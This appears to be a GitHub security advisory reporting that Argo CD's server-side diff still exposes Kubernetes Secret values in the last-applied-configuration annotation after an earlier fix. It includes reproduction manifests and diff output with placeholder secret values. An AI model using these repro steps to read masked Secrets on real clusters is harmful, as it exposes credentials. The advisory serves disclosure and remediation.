### Summary The original fix for [GHSA-3v3m-wc6v-x4x3](https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3) is incomplete. argocd app diff --server-side-diff can still expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation. The prior fix masks top-level Secret data in ServerSideDiff responses, but it does not fully sanitize Secret data stored inside the last-applied-configuration annotation. If a Secret was previously created or updated using client-side apply, that annotation may contain raw data, stringData, and sensitive annotations. These values can be shown in UI/CLI diffs. ### Details The ServerSideDiff endpoint returns ResourceDiff.TargetState / LiveState based on server-side dry-run output. Kubernetes server-side dry-run can return a full predicted live Secret object that carries forward existing live annotations, including: kubectl.kubernetes.io/last-applied-configuration For Secrets created with client-side apply, that annotation can contain a JSON-serialized Secret manifest with sensitive values. The masking path calls HideSecretData(target, live, ...). However, HideSecretData only rewrites the last-applied annotation on the second argument (live). In server-side diff, the first argument can be predictedLive, not a clean Git target. predictedLive can also contain kubectl.kubernetes.io/last-applied-configuration, so the first object’s embedded annotation can remain unmasked. ### PoC Create an app containing this Secret manifest: ```yaml apiVersion: v1 kind: Namespace metadata: name: last-applied-secret-repro --- apiVersion: v1 kind: Secret metadata: name: secret namespace: last-applied-secret-repro annotations: app: test token: SECRETVAL type: Opaque data: password: U0VDUkVUVkFM username: U0VDUkVUVkFM ``` Create and Sync Argo App ```yaml apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: last-applied-secret-repro namespace: argocd annotations: argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true spec: project: default destination: server: https://kubernetes.default.svc namespace: last-applied-secret-repro source: repoURL: https://github.com/YOUR_ORG/YOUR_REPO.git targetRevision: HEAD path: last-applied-secret-repro syncPolicy: automated: prune: true selfHeal: true syncOptions: - CreateNamespace=true - ServerSideApply=true ``` Run argo cd app diff `argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false` ``` ❯ argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false ===== /Secret last-applied-secret-repro/secret ====== 10c10,11 < kubectl.kubernetes.io/last-applied-configuration: '{"apiVersion":"v1","data":{"password":"++++++++","username":"++++++++"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}' --- > kubectl.kubernetes.io/last-applied-configuration: | > {"apiVersion":"v1","data":{"password":"U0VDUkVUVkFM","username":"U0VDUkVUVkFM"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"} ``` The secret value can be seen inside the diff ### Impact Authenticated Argo CD users who can view application diffs may be able to read Secret values that should be masked. Impacted values include: Secret data embedded in kubectl.kubernetes.io/last-applied-configuration
